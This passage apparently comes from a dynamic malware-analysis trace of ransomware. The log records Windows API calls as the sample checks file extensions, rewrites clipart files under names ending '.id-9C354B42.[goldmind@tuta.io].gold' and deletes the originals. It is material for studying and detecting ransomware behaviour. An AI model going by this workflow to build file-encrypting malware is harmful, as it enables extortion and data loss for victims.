(lpString1=".ppt", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString=".zip") returned 4 [0114.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.180] lstrlenW (lpString=".rar") returned 4 [0114.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString=".bz2") returned 4 [0114.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString=".7z") returned 3 [0114.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString=".dbf") returned 4 [0114.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString=".1cd") returned 4 [0114.180] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString=".jpg") returned 4 [0114.180] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.180] lstrlenW (lpString=".doc") returned 4 [0114.180] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.181] lstrlenW (lpString=".docx") returned 5 [0114.181] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0114.181] lstrlenW (lpString=".pdf") returned 4 [0114.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.181] lstrlenW (lpString=".xls") returned 4 [0114.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.181] lstrlenW (lpString=".xlsx") returned 5 [0114.181] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0114.181] lstrlenW (lpString=".ppt") returned 4 [0114.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.181] lstrlenW (lpString=".zip") returned 4 [0114.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.181] lstrlenW (lpString=".rar") returned 4 [0114.181] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.181] lstrlenW (lpString=".bz2") returned 4 [0114.181] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.181] lstrlenW (lpString=".7z") returned 3 [0114.181] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.181] lstrlenW (lpString=".dbf") returned 4 [0114.181] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.181] lstrlenW (lpString=".1cd") returned 4 [0114.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF") returned 63 [0114.181] lstrlenW (lpString=".jpg") returned 4 [0114.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.181] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.181] lstrlenW (lpString="J0198372.WMF") returned 12 [0114.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.182] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=28572) returned 1 [0114.182] CloseHandle (hObject=0x3b8) returned 1 [0114.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf")) returned 0x20 [0114.182] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.183] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.183] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0114.184] GetLastError () returned 0x0 [0114.184] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x6f9c, lpOverlapped=0x0) returned 1 [0114.185] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x6fa0, lpOverlapped=0x0) returned 1 [0114.186] ReadFile (in: hFile=0x3b8, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.186] WriteFile (in: hFile=0x198, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.187] SetEndOfFile (hFile=0x198) returned 1 [0114.187] CloseHandle (hObject=0x198) returned 1 [0114.187] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.187] SetEndOfFile (hFile=0x3b8) returned 1 [0114.189] CloseHandle (hObject=0x3b8) returned 1 [0114.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf")) returned 1 [0114.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.190] lstrlenW (lpString=".doc") returned 4 [0114.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.190] lstrlenW (lpString=".docx") returned 5 [0114.190] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.190] lstrlenW (lpString=".pdf") returned 4 [0114.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.190] lstrlenW (lpString=".xls") returned 4 [0114.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.190] lstrlenW (lpString=".xlsx") returned 5 [0114.190] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.190] lstrlenW (lpString=".ppt") returned 4 [0114.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.190] lstrlenW (lpString=".zip") returned 4 [0114.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.190] lstrlenW (lpString=".rar") returned 4 [0114.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.190] lstrlenW (lpString=".bz2") returned 4 [0114.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.190] lstrlenW (lpString=".7z") returned 3 [0114.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.190] lstrlenW (lpString=".dbf") returned 4 [0114.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.190] lstrlenW (lpString=".1cd") returned 4 [0114.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.190] lstrlenW (lpString=".jpg") returned 4 [0114.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.191] lstrlenW (lpString=".doc") returned 4 [0114.191] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString=".docx") returned 5 [0114.191] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0114.191] lstrlenW (lpString=".pdf") returned 4 [0114.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString=".xls") returned 4 [0114.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.191] lstrlenW (lpString=".xlsx") returned 5 [0114.191] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0114.191] lstrlenW (lpString=".ppt") returned 4 [0114.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.191] lstrlenW (lpString=".zip") returned 4 [0114.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.191] lstrlenW (lpString=".rar") returned 4 [0114.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString=".bz2") returned 4 [0114.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString=".7z") returned 3 [0114.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.191] lstrlenW (lpString=".dbf") returned 4 [0114.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.191] lstrlenW (lpString=".1cd") returned 4 [0114.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF") returned 63 [0114.191] lstrlenW (lpString=".jpg") returned 4 [0114.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.191] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.191] lstrlenW (lpString="J0198377.WMF") returned 12 [0114.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0114.242] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=40300) returned 1 [0114.242] CloseHandle (hObject=0x3b8) returned 1 [0114.242] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf")) returned 0x20 [0114.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.267] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.268] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.268] GetLastError () returned 0x0 [0114.268] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x9d6c, lpOverlapped=0x0) returned 1 [0114.289] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x9d70, lpOverlapped=0x0) returned 1 [0114.290] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.290] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.290] SetEndOfFile (hFile=0x3e0) returned 1 [0114.291] CloseHandle (hObject=0x3e0) returned 1 [0114.291] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.291] SetEndOfFile (hFile=0x3d0) returned 1 [0114.293] CloseHandle (hObject=0x3d0) returned 1 [0114.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf")) returned 1 [0114.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.306] lstrlenW (lpString=".doc") returned 4 [0114.306] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.306] lstrlenW (lpString=".docx") returned 5 [0114.306] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.306] lstrlenW (lpString=".pdf") returned 4 [0114.306] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.306] lstrlenW (lpString=".xls") returned 4 [0114.306] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.306] lstrlenW (lpString=".xlsx") returned 5 [0114.306] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.306] lstrlenW (lpString=".ppt") returned 4 [0114.306] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.306] lstrlenW (lpString=".zip") returned 4 [0114.306] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.306] lstrlenW (lpString=".rar") returned 4 [0114.306] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.306] lstrlenW (lpString=".bz2") returned 4 [0114.306] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.306] lstrlenW (lpString=".7z") returned 3 [0114.306] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.306] lstrlenW (lpString=".dbf") returned 4 [0114.306] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString=".1cd") returned 4 [0114.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString=".jpg") returned 4 [0114.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString=".doc") returned 4 [0114.307] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString=".docx") returned 5 [0114.307] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0114.307] lstrlenW (lpString=".pdf") returned 4 [0114.307] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString=".xls") returned 4 [0114.307] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.307] lstrlenW (lpString=".xlsx") returned 5 [0114.307] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0114.307] lstrlenW (lpString=".ppt") returned 4 [0114.307] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString=".zip") returned 4 [0114.307] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.307] lstrlenW (lpString=".rar") returned 4 [0114.307] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString=".bz2") returned 4 [0114.307] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString=".7z") returned 3 [0114.307] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString=".dbf") returned 4 [0114.307] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString=".1cd") returned 4 [0114.307] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0114.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF") returned 63 [0114.307] lstrlenW (lpString=".jpg") returned 4 [0114.307] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0114.307] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0114.307] lstrlenW (lpString="J0199279.WMF") returned 12 [0114.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.308] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=29006) returned 1 [0114.308] CloseHandle (hObject=0x3d0) returned 1 [0114.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf")) returned 0x20 [0114.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0114.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0114.308] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.309] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e0 [0114.309] GetLastError () returned 0x0 [0114.309] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x714e, lpOverlapped=0x0) returned 1 [0114.334] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x7150, lpOverlapped=0x0) returned 1 [0114.335] ReadFile (in: hFile=0x3d0, lpBuffer=0x3ac0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0114.335] WriteFile (in: hFile=0x3e0, lpBuffer=0x3ac0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ac0020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0114.335] SetEndOfFile (hFile=0x3e0) returned 1 [0114.335] CloseHandle (hObject=0x3e0) returned 1 [0114.335] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0114.335] SetEndOfFile (hFile=0x3d0) returned 1 [0114.337] CloseHandle (hObject=0x3d0) returned 1 [0114.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0114.368] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0199279.wmf")) returned 1 [0114.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.368] lstrlenW (lpString=".doc") returned 4 [0114.378] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0114.378] lstrlenW (lpString=".docx") returned 5 [0114.378] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0114.378] lstrlenW (lpString=".pdf") returned 4 [0114.378] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0114.378] lstrlenW (lpString=".xls") returned 4 [0114.378] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0114.378] lstrlenW (lpString=".xlsx") returned 5 [0114.398] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0114.398] lstrlenW (lpString=".ppt") returned 4 [0114.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0114.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0199279.WMF") returned 63 [0114.398] lstrlenW (lpString=".zip") returned 4 [0114.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0114.398] lstrlenW (lpString=".rar") returned 4 [0114.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0114.403] lstrlenW (lpString=".bz2") returned 4 [0114.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0114.403] lstrlenW (lpString=".7z") returned 3 [0114.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0114.403] lstrlenW (lpString="C:\\Program Files\\Microsoft 